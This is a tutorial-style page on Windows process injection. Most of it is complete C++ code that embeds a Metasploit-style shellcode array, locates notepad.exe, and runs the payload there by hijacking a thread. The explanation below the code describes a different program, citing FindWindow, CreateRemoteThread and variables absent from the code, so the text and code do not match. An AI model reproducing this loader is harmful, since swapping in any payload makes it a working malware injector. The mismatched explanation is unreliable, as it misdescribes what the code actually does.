FindWindow Injection

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x63\x61\x6c\x63\x00";
unsigned int payload_len = sizeof(payload);

// Function to get the Process ID (PID) by its name
int getPIDbyProcName(const char* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Get the first process entry in the snapshot
    if (Process32First(hSnap, &pe32) != FALSE) {
        // Iterate through the running processes to find the process with the specified name
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (strcmp(pe32.szExeFile, procName) == 0) {
                // Found the process with the matching name, store its PID
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

HANDLE FindThread(int pid) {
    HANDLE hThread = NULL;
    THREADENTRY32 thEntry;

    thEntry.dwSize = sizeof(thEntry);
    HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    while (Thread32Next(Snap, &thEntry)) {
        if (thEntry.th32OwnerProcessID == pid) {
            hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);
            break;
        }
    }
    CloseHandle(Snap);
    return hThread;
}

int InjectCTX(int pid, HANDLE hProc, unsigned char* payload, unsigned int payload_len) {
    HANDLE hThread = NULL;
    LPVOID pRemoteCode = NULL;
    CONTEXT ctx;

    // Find a thread in the target process
    hThread = FindThread(pid);
    if (hThread == NULL) {
        printf("Error, hijack unsuccessful.\n");
        return -1;
    }

    // Perform payload injection
    pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
    WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);

    // Execute the payload by hijacking a thread in the target process
    SuspendThread(hThread);
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);
#ifdef _M_IX86
    ctx.Eip = (DWORD_PTR)pRemoteCode;
#else
    ctx.Rip = (DWORD_PTR)pRemoteCode;
#endif
    SetThreadContext(hThread, &ctx);
    return ResumeThread(hThread);
}

int main(void) {
    int pid = 0;
    HANDLE hProc = NULL;

    pid = getPIDbyProcName("notepad.exe");

    if (pid) {
        printf("Notepad.exe PID = %d\n", pid);

        hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
            PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
            FALSE, (DWORD)pid);

        if (hProc != NULL) {
            InjectCTX(pid, hProc, payload, payload_len);
            CloseHandle(hProc);
        }
    }
    return 0;
}
```

This C++ code is an example of a Windows program that injects shellcode into another process and executes it. Here's an explanation of what the code does:

Header Files: It includes three header files, , , and , which are necessary for standard I/O operations and Windows API functions.

Shellcode Definition: The payload array contains a sequence of hexadecimal bytes. This array represents the shellcode that will be injected into a target process. This shellcode appears to be generated by Metasploit's Venom.

Main Function:

It declares several variables:

HANDLE ph: This will hold a handle to the target process.

HANDLE rt: This will hold a handle to the remote thread.

DWORD pid: This will store the process ID of the target process.

HWND hw: This will hold a handle to a window with the title "Untitled – Notepad."

FindWindow: This function is used to find a window with the title "Untitled – Notepad." If it succeeds, it returns a handle to the window (hw), which is used to obtain the process ID of the associated process.

GetWindowThreadProcessId: This function retrieves the process ID (pid) associated with the window handle obtained from FindWindow.

OpenProcess: It opens a handle to the target process using the process ID obtained earlier. The PROCESS_ALL_ACCESS flag gives full access to the process.

VirtualAllocEx: This function allocates memory within the target process. The memory is allocated with MEM_RESERVE | MEM_COMMIT attributes, allowing it to be both reserved and committed, and it's marked as PAGE_EXECUTE_READWRITE, making it executable and writable.

WriteProcessMemory: This function writes the shellcode (payload) into the allocated memory within the target process.

CreateRemoteThread: This function creates a remote thread within the target process, with the starting address set to the allocated memory containing the shellcode (rb). This effectively triggers the execution of the shellcode in the context of the target process.

Finally, the program closes the handle to the target process with CloseHandle.

In summary, this code demonstrates a technique called process injection. It locates a running instance of Notepad by finding its window, retrieves the process ID, allocates memory within that process, writes shellcode into the allocated memory, and creates a remote thread that starts executing the injected shellcode. This technique can be used for legitimate purposes, such as debugging or modifying the behavior of another process, but it's also a technique often used by malware for malicious purposes.